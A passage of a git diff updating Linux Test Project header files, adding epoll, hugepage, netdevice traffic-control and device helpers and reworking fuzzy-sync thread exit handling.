a/include/tst_common.h b/include/tst_common.h index fd7a900d..520cca72 100755 --- a/include/tst_common.h +++ b/include/tst_common.h @@ -83,4 +83,8 @@ #define TST_RES_SUPPORTS_TCONF_TFAIL_TINFO_TPASS_TWARN(condition) \ TST_BUILD_BUG_ON(condition) +/* stringification */ +#define TST_TO_STR_(s) #s +#define TST_TO_STR(s) TST_TO_STR_(s) + #endif /* TST_COMMON_H__ */ diff --git a/include/tst_device.h b/include/tst_device.h index 72c560c0..36258f43 100755 --- a/include/tst_device.h +++ b/include/tst_device.h @@ -8,6 +8,7 @@ #include #include +#include struct tst_device { const char *dev; @@ -48,7 +49,7 @@ int tst_clear_device(const char *dev); * free loopdev). If path is non-NULL, it will be filled with free loopdev path. * */ -int tst_find_free_loopdev(const char *path, size_t path_len); +int tst_find_free_loopdev(char *path, size_t path_len); /* * Attaches a file to a loop device. @@ -107,9 +108,22 @@ void tst_purge_dir(const char *path); /* * Find the file or path belongs to which block dev - * @path Path to find the backing dev - * @dev The block dev + * @path Path to find the backing dev + * @dev The buffer to store the block dev in + * @dev_size The length of the block dev buffer */ -void tst_find_backing_dev(const char *path, char *dev); +void tst_find_backing_dev(const char *path, char *dev, size_t dev_size); -#endif /* TST_DEVICE_H__ */ +/* + * Stat the device mounted on a given path. + */ +void tst_stat_mount_dev(const char *const mnt_path, struct stat *const st); + +/* + * Returns the size of a physical device block size for the specific path + * @path Path to find the block size + * @return Size of the block size + */ +int tst_dev_block_size(const char *path); + +#endif /* TST_DEVICE_H__ */ diff --git a/include/tst_epoll.h b/include/tst_epoll.h new file mode 100644 index 00000000..c5ffc07e --- /dev/null +++ b/include/tst_epoll.h @@ -0,0 +1,36 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2022 SUSE LLC + */ + +#include + +#ifndef TST_EPOLL_H +#define TST_EPOLL_H + +typedef int (*tst_on_epoll_fn)(void *, uint32_t); +struct tst_epoll_event_data { + tst_on_epoll_fn on_epoll; + void *self; +}; + +int safe_epoll_create1(const char *const file, const int lineno, + const int flags); + +#define SAFE_EPOLL_CREATE1(flags) \ + safe_epoll_create1(__FILE__, __LINE__, (flags)) + +int safe_epoll_ctl(const char *const file, const int lineno, + int epfd, int op, int fd, struct epoll_event *ev); + +#define SAFE_EPOLL_CTL(epfd, op, fd, ev) \ + safe_epoll_ctl(__FILE__, __LINE__, epfd, op, fd, ev) + +int safe_epoll_wait(const char *const file, const int lineno, + int epfd, struct epoll_event *events, + int maxevents, int timeout); + +#define SAFE_EPOLL_WAIT(epfd, events, maxevents, timeout)\ + safe_epoll_wait(__FILE__, __LINE__, epfd, events, maxevents, timeout) + +#endif diff --git a/include/tst_fs.h b/include/tst_fs.h index efcdff60..769fac1e 100755 --- a/include/tst_fs.h +++ b/include/tst_fs.h @@ -1,5 +1,6 @@ /* SPDX-License-Identifier: GPL-2.0-or-later - * Copyright (c) 2015-2016 Cyril Hrubis + * Copyright (c) 2015-2017 Cyril Hrubis + * Copyright (c) Linux Test Project, 2017-2022 */ #ifndef TST_FS_H__ @@ -30,8 +31,14 @@ #define TST_EXOFS_MAGIC 0x5DF5 #define TST_OVERLAYFS_MAGIC 0x794c7630 #define TST_FUSE_MAGIC 0x65735546 +#define TST_VFAT_MAGIC 0x4d44 /* AKA MSDOS */ #define TST_EXFAT_MAGIC 0x2011BAB0UL +enum tst_fill_access_pattern { + TST_FILL_BLOCKS, + TST_FILL_RANDOM +}; + enum { TST_BYTES = 1, TST_KB = 1024, @@ -50,8 +57,8 @@ enum { * @mult: mult should be TST_KB, TST_MB or TST_GB * the required free space is calculated by @size * @mult */ -int tst_fs_has_free_(void (*cleanup)(void), const char *path, - unsigned int size, unsigned int mult); +int tst_fs_has_free_(void (*cleanup)(void), const char *path, unsigned int size, + unsigned int mult); /* * Returns filesystem magick for a given path. @@ -91,7 +98,7 @@ const char *tst_fs_type_name(long f_type); * The code uses link(2) to create hard links to a single file until it gets * EMLINK or creates 65535 links. * - * If limit is hit maximal number of hardlinks is returned and the the @dir is + * If limit is hit maximal number of hardlinks is returned and the @dir is * filled with hardlinks in format "testfile%i" where i belongs to [0, limit) * interval. * @@ -175,7 +182,7 @@ enum tst_fs_impl { }; /* - * Returns if filesystem is suppored and if driver is in kernel or FUSE. + * Returns if filesystem is supported and if driver is in kernel or FUSE. * * @fs_type A filesystem name to check the support for. */ @@ -185,36 +192,21 @@ enum tst_fs_impl tst_fs_is_supported(const char *fs_type); * Returns NULL-terminated array of kernel-supported filesystems. * * @skiplist A NULL terminated array of filesystems to skip. -*/ + */ const char **tst_get_supported_fs_types(const char *const *skiplist); /* * Returns 1 if filesystem is in skiplist 0 otherwise. * * @fs_type A filesystem type to lookup. - * @skiplist A NULL terminated array of fileystemsytems to skip. + * @skiplist A NULL terminated array of filesystems to skip. */ int tst_fs_in_skiplist(const char *fs_type, const char *const *skiplist); -/* - * Check whether device supports FS quotas. Negative return value means that - * quotas appear to be broken. - */ -int tst_check_quota_support(const char *device, int format, char *quotafile); - -/* - * Check for quota support and terminate the test with appropriate exit status - * if quotas are not supported or broken. - */ -#define tst_require_quota_support(dev, fmt, qfile) \ - tst_require_quota_support_(__FILE__, __LINE__, (dev), (fmt), (qfile)) -void tst_require_quota_support_(const char *file, const int lineno, - const char *device, int format, char *quotafile); - /* * Creates and writes to files on given path until write fails with ENOSPC */ -void tst_fill_fs(const char *path, int verbose); +void tst_fill_fs(const char *path, int verbose, enum tst_fill_access_pattern pattern); /* * test if FIBMAP ioctl is supported @@ -228,7 +220,7 @@ static inline long tst_fs_type(const char *path) } static inline int tst_fs_has_free(const char *path, unsigned int size, - unsigned int mult) + unsigned int mult) { return tst_fs_has_free_(NULL, path, size, mult); } @@ -254,7 +246,7 @@ static inline long tst_fs_type(void (*cleanup)(void), const char *path) } static inline int tst_fs_has_free(void (*cleanup)(void), const char *path, - unsigned int size, unsigned int mult) + unsigned int size, unsigned int mult) { return tst_fs_has_free_(cleanup, path, size, mult); } diff --git a/include/tst_fuzzy_sync.h b/include/tst_fuzzy_sync.h index bc345029..bef42400 100755 --- a/include/tst_fuzzy_sync.h +++ b/include/tst_fuzzy_sync.h @@ -60,7 +60,6 @@ */ #include -#include #include #include #include @@ -161,15 +160,6 @@ struct tst_fzsync_pair { int b_cntr; /** Internal; Used by tst_fzsync_pair_exit() and fzsync_pair_wait() */ int exit; - /** - * The maximum desired execution time as a proportion of the timeout - * - * A value x so that 0 < x < 1 which decides how long the test should - * be run for (assuming the loop limit is not exceeded first). - * - * Defaults to 0.5 (~150 seconds with default timeout). - */ - float exec_time_p; /** Internal; The test time remaining on tst_fzsync_pair_reset() */ float exec_time_start; /** @@ -215,7 +205,6 @@ static inline void tst_fzsync_pair_init(struct tst_fzsync_pair *pair) CHK(avg_alpha, 0, 1, 0.25); CHK(min_samples, 20, INT_MAX, 1024); CHK(max_dev_ratio, 0, 1, 0.1); - CHK(exec_time_p, 0, 1, 0.5); CHK(exec_loops, 20, INT_MAX, 3000000); if (tst_ncpus_available() <= 1) @@ -234,35 +223,13 @@ static inline void tst_fzsync_pair_cleanup(struct tst_fzsync_pair *pair) { if (pair->thread_b) { /* Revoke thread B if parent hits accidental break */ - if (!pair->exit) { + if (!pair->exit) tst_atomic_store(1, &pair->exit); - usleep(100000); - pthread_cancel(pair->thread_b); - } SAFE_PTHREAD_JOIN(pair->thread_b, NULL); pair->thread_b = 0; } } -/** To store the run_b pointer and pass to tst_fzsync_thread_wrapper */ -struct tst_fzsync_run_thread { - void *(*func)(void *); - void *arg; -}; - -/** - * Wrap run_b for tst_fzsync_pair_reset to enable pthread cancel - * at the start of the thread B. - */ -static inline void *tst_fzsync_thread_wrapper(void *run_thread) -{ - struct tst_fzsync_run_thread t = *(struct tst_fzsync_run_thread *)run_thread; - - pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, NULL); - pthread_setcancelstate(PTHREAD_CANCEL_ENABLE, NULL); - return t.func(t.arg); -} - /** * Zero some stat fields * @@ -311,15 +278,10 @@ static inline void tst_fzsync_pair_reset(struct tst_fzsync_pair *pair, pair->a_cntr = 0; pair->b_cntr = 0; pair->exit = 0; - if (run_b) { - static struct tst_fzsync_run_thread wrap_run_b; - - wrap_run_b.func = run_b; - wrap_run_b.arg = NULL; - SAFE_PTHREAD_CREATE(&pair->thread_b, 0, tst_fzsync_thread_wrapper, &wrap_run_b); - } + if (run_b) + SAFE_PTHREAD_CREATE(&pair->thread_b, 0, run_b, 0); - pair->exec_time_start = (float)tst_timeout_remaining(); + pair->exec_time_start = (float)tst_remaining_runtime(); } /** @@ -554,6 +516,7 @@ static inline void tst_fzsync_pair_update(struct tst_fzsync_pair *pair) * @param our_cntr The counter for the thread we are on * @param other_cntr The counter for the thread we are synchronising with * @param spins A pointer to the spin counter or NULL + * @param exit Exit flag when we need to break out of the wait loop * * Used by tst_fzsync_pair_wait_a(), tst_fzsync_pair_wait_b(), * tst_fzsync_start_race_a(), etc. If the calling thread is ahead of the other @@ -566,6 +529,7 @@ static inline void tst_fzsync_pair_update(struct tst_fzsync_pair *pair) static inline void tst_fzsync_pair_wait(int *our_cntr, int *other_cntr, int *spins, + int *exit, bool yield_in_wait) { if (tst_atomic_inc(other_cntr) == INT_MAX) { @@ -578,7 +542,8 @@ static inline void tst_fzsync_pair_wait(int *our_cntr, */ if (yield_in_wait) { while (tst_atomic_load(our_cntr) > 0 - && tst_atomic_load(our_cntr) < INT_MAX) { + && tst_atomic_load(our_cntr) < INT_MAX + && !tst_atomic_load(exit)) { if (spins) (*spins)++; @@ -586,7 +551,8 @@ static inline void tst_fzsync_pair_wait(int *our_cntr, } } else { while (tst_atomic_load(our_cntr) > 0 - && tst_atomic_load(our_cntr) < INT_MAX) { + && tst_atomic_load(our_cntr) < INT_MAX + && !tst_atomic_load(exit)) { if (spins) (*spins)++; } @@ -599,10 +565,12 @@ static inline void tst_fzsync_pair_wait(int *our_cntr, * is restored and we can continue. */ if (yield_in_wait) { - while (tst_atomic_load(our_cntr) > 1) + while (tst_atomic_load(our_cntr) > 1 + && !tst_atomic_load(exit)) sched_yield(); } else { - while (tst_atomic_load(our_cntr) > 1) + while (tst_atomic_load(our_cntr) > 1 + && !tst_atomic_load(exit)) ; } } else { @@ -612,14 +580,16 @@ static inline void tst_fzsync_pair_wait(int *our_cntr, */ if (yield_in_wait) { while (tst_atomic_load(our_cntr) < - tst_atomic_load(other_cntr)) { + tst_atomic_load(other_cntr) + && !tst_atomic_load(exit)) { if (spins) (*spins)++; sched_yield(); } } else { while (tst_atomic_load(our_cntr) < - tst_atomic_load(other_cntr)) { + tst_atomic_load(other_cntr) + && !tst_atomic_load(exit)) { if (spins) (*spins)++; } @@ -635,7 +605,8 @@ static inline void tst_fzsync_pair_wait(int *our_cntr, */ static inline void tst_fzsync_wait_a(struct tst_fzsync_pair *pair) { - tst_fzsync_pair_wait(&pair->a_cntr, &pair->b_cntr, NULL, pair->yield_in_wait); + tst_fzsync_pair_wait(&pair->a_cntr, &pair->b_cntr, + NULL, &pair->exit, pair->yield_in_wait); } /** @@ -646,7 +617,8 @@ static inline void tst_fzsync_wait_a(struct tst_fzsync_pair *pair) */ static inline void tst_fzsync_wait_b(struct tst_fzsync_pair *pair) { - tst_fzsync_pair_wait(&pair->b_cntr, &pair->a_cntr, NULL, pair->yield_in_wait); + tst_fzsync_pair_wait(&pair->b_cntr, &pair->a_cntr, + NULL, &pair->exit, pair->yield_in_wait); } /** @@ -662,11 +634,9 @@ static inline void tst_fzsync_wait_b(struct tst_fzsync_pair *pair) */ static inline int tst_fzsync_run_a(struct tst_fzsync_pair *pair) { - int exit = 0; - float rem_p = 1 - tst_timeout_remaining() / pair->exec_time_start; + float rem_p = 1 - tst_remaining_runtime() / pair->exec_time_start; - if ((pair->exec_time_p * SAMPLING_SLICE < rem_p) - && (pair->sampling > 0)) { + if ((SAMPLING_SLICE < rem_p) && (pair->sampling > 0)) { tst_res(TINFO, "Stopped sampling at %d (out of %d) samples, " "sampling time reached 50%% of the total time limit", pair->exec_loop, pair->min_samples); @@ -674,22 +644,21 @@ static inline int tst_fzsync_run_a(struct tst_fzsync_pair *pair) tst_fzsync_pair_info(pair); } - if (pair->exec_time_p < rem_p) { + if (rem_p >= 1) { tst_res(TINFO, "Exceeded execution time, requesting exit"); - exit = 1; + tst_atomic_store(1, &pair->exit); } if (++pair->exec_loop > pair->exec_loops) { tst_res(TINFO, "Exceeded execution loops, requesting exit"); - exit = 1; + tst_atomic_store(1, &pair->exit); } - tst_atomic_store(exit, &pair->exit); tst_fzsync_wait_a(pair); - if (exit) { + if (pair->exit) { tst_fzsync_pair_cleanup(pair); return 0; } @@ -758,7 +727,8 @@ static inline void tst_fzsync_start_race_a(struct tst_fzsync_pair *pair) static inline void tst_fzsync_end_race_a(struct tst_fzsync_pair *pair) { tst_fzsync_time(&pair->a_end); - tst_fzsync_pair_wait(&pair->a_cntr, &pair->b_cntr, &pair->spins, pair->yield_in_wait); + tst_fzsync_pair_wait(&pair->a_cntr, &pair->b_cntr, + &pair->spins, &pair->exit, pair->yield_in_wait); } /** @@ -796,7 +766,8 @@ static inline void tst_fzsync_start_race_b(struct tst_fzsync_pair *pair) static inline void tst_fzsync_end_race_b(struct tst_fzsync_pair *pair) { tst_fzsync_time(&pair->b_end); - tst_fzsync_pair_wait(&pair->b_cntr, &pair->a_cntr, &pair->spins, pair->yield_in_wait); + tst_fzsync_pair_wait(&pair->b_cntr, &pair->a_cntr, + &pair->spins, &pair->exit, pair->yield_in_wait); } /** diff --git a/include/tst_hugepage.h b/include/tst_hugepage.h index e08a2daa..46327c79 100755 --- a/include/tst_hugepage.h +++ b/include/tst_hugepage.h @@ -8,10 +8,27 @@ #define PATH_HUGEPAGES "/sys/kernel/mm/hugepages/" #define PATH_NR_HPAGES "/proc/sys/vm/nr_hugepages" +#define PATH_OC_HPAGES "/proc/sys/vm/nr_overcommit_hugepages" + +#define MEMINFO_HPAGE_TOTAL "HugePages_Total:" +#define MEMINFO_HPAGE_FREE "HugePages_Free:" +#define MEMINFO_HPAGE_RSVD "HugePages_Rsvd:" +#define MEMINFO_HPAGE_SURP "HugePages_Surp:" +#define MEMINFO_HPAGE_SIZE "Hugepagesize:" extern char *nr_opt; /* -s num Set the number of the been allocated hugepages */ extern char *Hopt; /* -H /.. Location of hugetlbfs, i.e. -H /var/hugetlbfs */ +enum tst_hp_policy { + TST_REQUEST, + TST_NEEDS, +}; + +struct tst_hugepage { + const unsigned long number; + enum tst_hp_policy policy; +}; + /* * Get the default hugepage size. Returns 0 if hugepages are not supported. */ @@ -23,11 +40,11 @@ size_t tst_get_hugepage_size(void); * * Note: this depend on the status of system memory fragmentation. */ -unsigned long tst_request_hugepages(unsigned long hpages); +unsigned long tst_reserve_hugepages(struct tst_hugepage *hp); /* * This variable is used for recording the number of hugepages which system can - * provides. It will be equal to 'hpages' if tst_request_hugepages on success, + * provides. It will be equal to 'hpages' if tst_reserve_hugepages on success, * otherwise set it to a number of hugepages that we were able to reserve. * * If system does not support hugetlb, then it will be set to 0. diff --git a/include/tst_kernel.h b/include/tst_kernel.h index 9e17bb71..9d3a8d31 100755 --- a/include/tst_kernel.h +++ b/include/tst_kernel.h @@ -10,8 +10,18 @@ */ int tst_kernel_bits(void); -/** - * Checks support for the kernel driver. +/* + * Checks if the kernel module is built-in. + * + * @param driver The name of the driver. + * @return Returns 0 if builtin driver + * -1 when driver is missing or config file not available. + * On Android *always* 0 (always expect the driver is available). + */ +int tst_check_builtin_driver(const char *driver); + +/* + * Checks support for the kernel module (both built-in and loadable). * * @param driver The name of the driver. * @return Returns 0 if the kernel has the driver, diff --git a/include/tst_kvercmp.h b/include/tst_kvercmp.h index 495e8db1..fbefa0f7 100755 --- a/include/tst_kvercmp.h +++ b/include/tst_kvercmp.h @@ -30,7 +30,7 @@ int tst_kvexcmp(const char *tst_exv, const char *cur_kver); /* * Compare given kernel version with currently running kernel. * - * Returns negative if older, 0 if the same and possitive if newer. + * Returns negative if older, 0 if the same and positive if newer. */ int tst_kvercmp(int r1, int r2, int r3); diff --git a/include/tst_memutils.h b/include/tst_memutils.h index 45dec55b..19b59343 100755 --- a/include/tst_memutils.h +++ b/include/tst_memutils.h @@ -25,6 +25,11 @@ void tst_pollute_memory(size_t maxsize, int fillchar); */ long long tst_available_mem(void); +/* + * Read the value of SwapFree from /proc/meminfo. + */ +long long tst_available_swap(void); + /* * Enable OOM protection to prevent process($PID) being killed by OOM Killer. * echo -1000 >/proc/$PID/oom_score_adj diff --git a/include/tst_minmax.h b/include/tst_minmax.h index 6417dd70..1597fbc9 100755 --- a/include/tst_minmax.h +++ b/include/tst_minmax.h @@ -1,14 +1,18 @@ /* SPDX-License-Identifier: GPL-2.0-or-later * Copyright (c) 2017 Cyril Hrubis + * Copyright (c) Linux Test Project, 2020-2023 */ #ifndef TST_MINMAX_H__ #define TST_MINMAX_H__ +#include + #ifndef MIN # define MIN(a, b) ({ \ typeof(a) _a = (a); \ typeof(b) _b = (b); \ + (void) (&_a == &_b); \ _a < _b ? _a : _b; \ }) #endif /* MIN */ @@ -17,6 +21,7 @@ # define MAX(a, b) ({ \ typeof(a) _a = (a); \ typeof(b) _b = (b); \ + (void) (&_a == &_b); \ _a > _b ? _a : _b; \ }) #endif /* MAX */ diff --git a/include/tst_mkfs.h b/include/tst_mkfs.h index b89bf812..9747a85e 100755 --- a/include/tst_mkfs.h +++ b/include/tst_mkfs.h @@ -9,7 +9,8 @@ * @dev: path to a device * @fs_type: filesystem type * @fs_opts: NULL or NULL terminated array of extra mkfs options - * @extra_opts: NULL or NULL terminated array of extra mkfs options + * @extra_opts: NULL or NULL terminated array of extra mkfs options which are + * passed after the device name. */ void tst_mkfs_(const char *file, const int lineno, void (cleanup_fn)(void), const char *dev, const char *fs_type, diff --git a/include/tst_net.h b/include/tst_net.h index daefdd9d..9d8b842d 100755 --- a/include/tst_net.h +++ b/include/tst_net.h @@ -32,4 +32,20 @@ void safe_getaddrinfo(const char *file, const int lineno, const char *src_addr, const char *port, const struct addrinfo *hints, struct addrinfo **addr_info); +/* + * Create new network namespace for netdevice/socket tests. A test which calls + * tst_setup_netns() must declare the following entries in its struct tst_test: + * + * .needs_kconfigs = (const char *[]) { + * "CONFIG_USER_NS=y", + * "CONFIG_NET_NS=y", + * NULL + * }, + * .save_restore = (const struct tst_path_val[]) { + * {"/proc/sys/user/max_user_namespaces", "1024", TST_SR_SKIP}, + * {} + * }, + */ +void tst_setup_netns(void); + #endif /* TST_NET_H_ */ diff --git a/include/tst_netdevice.h b/include/tst_netdevice.h index f0266120..5e62ba06 100755 --- a/include/tst_netdevice.h +++ b/include/tst_netdevice.h @@ -5,6 +5,8 @@ #ifndef TST_NETDEVICE_H #define TST_NETDEVICE_H +#include "tst_rtnetlink.h" + /* Find device index for given network interface name. */ int tst_netdev_index_by_name(const char *file, const int lineno, const char *ifname); @@ -18,69 +20,70 @@ int tst_netdev_set_state(const char *file, const int lineno, tst_netdev_set_state(__FILE__, __LINE__, (ifname), (up)) /* Create a connected pair of virtual network devices */ -int tst_create_veth_pair(const char *file, const int lineno, +int tst_create_veth_pair(const char *file, const int lineno, int strict, const char *ifname1, const char *ifname2); #define CREATE_VETH_PAIR(ifname1, ifname2) \ - tst_create_veth_pair(__FILE__, __LINE__, (ifname1), (ifname2)) + tst_create_veth_pair(__FILE__, __LINE__, 1, (ifname1), (ifname2)) -int tst_netdev_add_device(const char *file, const int lineno, +int tst_netdev_add_device(const char *file, const int lineno, int strict, const char *ifname, const char *devtype); #define NETDEV_ADD_DEVICE(ifname, devtype) \ - tst_netdev_add_device(__FILE__, __LINE__, (ifname), (devtype)) + tst_netdev_add_device(__FILE__, __LINE__, 1, (ifname), (devtype)) -int tst_netdev_remove_device(const char *file, const int lineno, +int tst_netdev_remove_device(const char *file, const int lineno, int strict, const char *ifname); #define NETDEV_REMOVE_DEVICE(ifname) \ - tst_netdev_remove_device(__FILE__, __LINE__, (ifname)) + tst_netdev_remove_device(__FILE__, __LINE__, 1, (ifname)) -int tst_netdev_add_address(const char *file, const int lineno, +int tst_netdev_add_address(const char *file, const int lineno, int strict, const char *ifname, unsigned int family, const void *address, unsigned int prefix, size_t addrlen, unsigned int flags); #define NETDEV_ADD_ADDRESS(ifname, family, address, prefix, addrlen, flags) \ - tst_netdev_add_address(__FILE__, __LINE__, (ifname), (family), \ + tst_netdev_add_address(__FILE__, __LINE__, 1, (ifname), (family), \ (address), (prefix), (addrlen), (flags)) -int tst_netdev_add_address_inet(const char *file, const int lineno, +int tst_netdev_add_address_inet(const char *file, const int lineno, int strict, const char *ifname, in_addr_t address, unsigned int prefix, unsigned int flags); #define NETDEV_ADD_ADDRESS_INET(ifname, address, prefix, flags) \ - tst_netdev_add_address_inet(__FILE__, __LINE__, (ifname), (address), \ - (prefix), (flags)) + tst_netdev_add_address_inet(__FILE__, __LINE__, 1, (ifname), \ + (address), (prefix), (flags)) -int tst_netdev_remove_address(const char *file, const int lineno, +int tst_netdev_remove_address(const char *file, const int lineno, int strict, const char *ifname, unsigned int family, const void *address, size_t addrlen); #define NETDEV_REMOVE_ADDRESS(ifname, family, address, addrlen) \ - tst_netdev_remove_address(__FILE__, __LINE__, (ifname), (family), \ + tst_netdev_remove_address(__FILE__, __LINE__, 1, (ifname), (family), \ (address), (addrlen)) int tst_netdev_remove_address_inet(const char *file, const int lineno, - const char *ifname, in_addr_t address); + int strict, const char *ifname, in_addr_t address); #define NETDEV_REMOVE_ADDRESS_INET(ifname, address) \ - tst_netdev_remove_address_inet(__FILE__, __LINE__, (ifname), (address)) + tst_netdev_remove_address_inet(__FILE__, __LINE__, 1, (ifname), \ + (address)) -int tst_netdev_change_ns_fd(const char *file, const int lineno, +int tst_netdev_change_ns_fd(const char *file, const int lineno, int strict, const char *ifname, int nsfd); #define NETDEV_CHANGE_NS_FD(ifname, nsfd) \ - tst_netdev_change_ns_fd(__FILE__, __LINE__, (ifname), (nsfd)) + tst_netdev_change_ns_fd(__FILE__, __LINE__, 1, (ifname), (nsfd)) -int tst_netdev_change_ns_pid(const char *file, const int lineno, +int tst_netdev_change_ns_pid(const char *file, const int lineno, int strict, const char *ifname, pid_t nspid); #define NETDEV_CHANGE_NS_PID(ifname, nspid) \ - tst_netdev_change_ns_pid(__FILE__, __LINE__, (ifname), (nspid)) + tst_netdev_change_ns_pid(__FILE__, __LINE__, 1, (ifname), (nspid)) /* * Add new static entry to main routing table. If you specify gateway address, * the interface name is optional. */ -int tst_netdev_add_route(const char *file, const int lineno, +int tst_netdev_add_route(const char *file, const int lineno, int strict, const char *ifname, unsigned int family, const void *srcaddr, unsigned int srcprefix, size_t srclen, const void *dstaddr, unsigned int dstprefix, size_t dstlen, const void *gateway, size_t gatewaylen); #define NETDEV_ADD_ROUTE(ifname, family, srcaddr, srcprefix, srclen, dstaddr, \ dstprefix, dstlen, gateway, gatewaylen) \ - tst_netdev_add_route(__FILE__, __LINE__, (ifname), (family), \ + tst_netdev_add_route(__FILE__, __LINE__, 1, (ifname), (family), \ (srcaddr), (srcprefix), (srclen), (dstaddr), (dstprefix), \ (dstlen), (gateway), (gatewaylen)) @@ -89,25 +92,25 @@ int tst_netdev_add_route(const char *file, const int lineno, * or dstprefix to 0, the corresponding address will be ignored. Interface * name is optional if gateway address is non-zero. */ -int tst_netdev_add_route_inet(const char *file, const int lineno, +int tst_netdev_add_route_inet(const char *file, const int lineno, int strict, const char *ifname, in_addr_t srcaddr, unsigned int srcprefix, in_addr_t dstaddr, unsigned int dstprefix, in_addr_t gateway); #define NETDEV_ADD_ROUTE_INET(ifname, srcaddr, srcprefix, dstaddr, dstprefix, \ gateway) \ - tst_netdev_add_route_inet(__FILE__, __LINE__, (ifname), (srcaddr), \ + tst_netdev_add_route_inet(__FILE__, __LINE__, 1, (ifname), (srcaddr), \ (srcprefix), (dstaddr), (dstprefix), (gateway)) /* * Remove static entry from main routing table. */ -int tst_netdev_remove_route(const char *file, const int lineno, +int tst_netdev_remove_route(const char *file, const int lineno, int strict, const char *ifname, unsigned int family, const void *srcaddr, unsigned int srcprefix, size_t srclen, const void *dstaddr, unsigned int dstprefix, size_t dstlen, const void *gateway, size_t gatewaylen); #define NETDEV_REMOVE_ROUTE(ifname, family, srcaddr, srcprefix, srclen, \ dstaddr, dstprefix, dstlen, gateway, gatewaylen) \ - tst_netdev_remove_route(__FILE__, __LINE__, (ifname), (family), \ + tst_netdev_remove_route(__FILE__, __LINE__, 1, (ifname), (family), \ (srcaddr), (srcprefix), (srclen), (dstaddr), (dstprefix), \ (dstlen), (gateway), (gatewaylen)) @@ -115,11 +118,74 @@ int tst_netdev_remove_route(const char *file, const int lineno, * Simplified function for removing IPv4 static route. */ int tst_netdev_remove_route_inet(const char *file, const int lineno, - const char *ifname, in_addr_t srcaddr, unsigned int srcprefix, - in_addr_t dstaddr, unsigned int dstprefix, in_addr_t gateway); + int strict, const char *ifname, in_addr_t srcaddr, + unsigned int srcprefix, in_addr_t dstaddr, unsigned int dstprefix, + in_addr_t gateway); #define NETDEV_REMOVE_ROUTE_INET(ifname, srcaddr, srcprefix, dstaddr, \ dstprefix, gateway) \ - tst_netdev_remove_route_inet(__FILE__, __LINE__, (ifname), (srcaddr), \ - (srcprefix), (dstaddr), (dstprefix), (gateway)) + tst_netdev_remove_route_inet(__FILE__, __LINE__, 1, (ifname), \ + (srcaddr), (srcprefix), (dstaddr), (dstprefix), (gateway)) + +/* + * Add queueing discipline. Network interface name is optional. + */ +int tst_netdev_add_qdisc(const char *file, const int lineno, int strict, + const char *ifname, unsigned int family, unsigned int parent, + unsigned int handle, const char *qd_kind, + const struct tst_rtnl_attr_list *config); +#define NETDEV_ADD_QDISC(ifname, family, parent, handle, qd_kind, config) \ + tst_netdev_add_qdisc(__FILE__, __LINE__, 1, (ifname), (family), \ + (parent), (handle), (qd_kind), (config)) + +/* + * Remove queueing discipline. + */ +int tst_netdev_remove_qdisc(const char *file, const int lineno, int strict, + const char *ifname, unsigned int family, unsigned int parent, + unsigned int handle, const char *qd_kind); +#define NETDEV_REMOVE_QDISC(ifname, family, parent, handle, qd_kind) \ + tst_netdev_remove_qdisc(__FILE__, __LINE__, 1, (ifname), (family), \ + (parent), (handle), (qd_kind)) + +/* + * Add traffic class to queueing discipline. Network interface name is + * optional. + */ +int tst_netdev_add_traffic_class(const char *file, const int lineno, + int strict, const char *ifname, unsigned int parent, + unsigned int handle, const char *qd_kind, + const struct tst_rtnl_attr_list *config); +#define NETDEV_ADD_TRAFFIC_CLASS(ifname, parent, handle, qd_kind, config) \ + tst_netdev_add_traffic_class(__FILE__, __LINE__, 1, (ifname), \ + (parent), (handle), (qd_kind), (config)) + +int tst_netdev_remove_traffic_class(const char *file, const int lineno, + int strict, const char *ifname, unsigned int parent, + unsigned int handle, const char *qd_kind); +#define NETDEV_REMOVE_TRAFFIC_CLASS(ifname, parent, handle, qd_kind) \ + tst_netdev_remove_traffic_class(__FILE__, __LINE__, 1, (ifname), \ + (parent), (handle), (qd_kind)) + +/* + * Add traffic filter to queueing discipline. Protocol should be en ETH_P_* + * constant in host byte order. Network interface name is optional. + */ +int tst_netdev_add_traffic_filter(const char *file, const int lineno, + int strict, const char *ifname, unsigned int parent, + unsigned int handle, unsigned int protocol, unsigned int priority, + const char *f_kind, const struct tst_rtnl_attr_list *config); +#define NETDEV_ADD_TRAFFIC_FILTER(ifname, parent, handle, protocol, priority, \ + f_kind, config) \ + tst_netdev_add_traffic_filter(__FILE__, __LINE__, 1, (ifname), \ + (parent), (handle), (protocol), (priority), (f_kind), (config)) + +int tst_netdev_remove_traffic_filter(const char *file, const int lineno, + int strict, const char *ifname, unsigned int parent, + unsigned int handle, unsigned int protocol, unsigned int priority, + const char *f_kind); +#define NETDEV_REMOVE_TRAFFIC_FILTER(ifname, parent, handle, protocol, \ + priority, f_kind) \ + tst_netdev_remove_traffic_filter(__FILE__, __LINE__, 1, (ifname), \ + (parent), (handle), (protocol), (priority), (f_kind)) #endif /* TST_NETDEVICE_H */ diff --git a/include/tst_pid.h b/include/tst_pid.h index 8d999a65..774c845c 100755 --- a/include/tst_pid.h +++ b/include/tst_pid.h @@ -42,4 +42,12 @@ static inline int tst_get_free_pids(void (*cleanup_fn)(void)) } #endif +/* + * Direct getpid() syscall. Some glibc versions cache getpid() return value + * which can cause confusing issues for example in processes created by + * direct clone() syscall (without using the glibc wrapper). Use this function + * whenever the current process may be a child of the main test process. + */ +pid_t tst_getpid(void); + #endif /* TST_PID_H__ */ diff --git a/include/tst_process_state.h b/include/tst_process_state.h index 81532524..b1d83e10 100755 --- a/include/tst_process_state.h +++ b/include/tst_process_state.h @@ -36,6 +36,25 @@ #define TST_PROCESS_EXIT_WAIT(pid, msec_timeout) \ tst_process_exit_wait((pid), (msec_timeout)) +/* + * Waits for thread state change. + * + * The state is one of the following: + * + * R - running + * S - sleeping + * D - disk sleep + * T - stopped + * t - tracing stopped + * Z - zombie + * X - dead + */ +#define TST_THREAD_STATE_WAIT(tid, state, msec_timeout) \ + tst_thread_state_wait((tid), (state), (msec_timeout)) + +int tst_thread_state_wait(pid_t tid, const char state, + unsigned int msec_timeout); + #else /* * The same as above but does not use tst_brkm() interface. diff --git a/include/tst_rand_data.h b/include/tst_rand_data.h new file mode 100644 index 00000000..ba747d0f --- /dev/null +++ b/include/tst_rand_data.h @@ -0,0 +1,15 @@ +/* SPDX-License-Identifier: GPL-2.0-or-later + * Copyright (c) Linux Test Project, 2022 + */ + +#ifndef TST_RAND_DATA_H__ +#define TST_RAND_DATA_H__ + +#include + +/* Includes null byte */ +extern const size_t tst_rand_data_len; +/* statically defined random data */ +extern const char 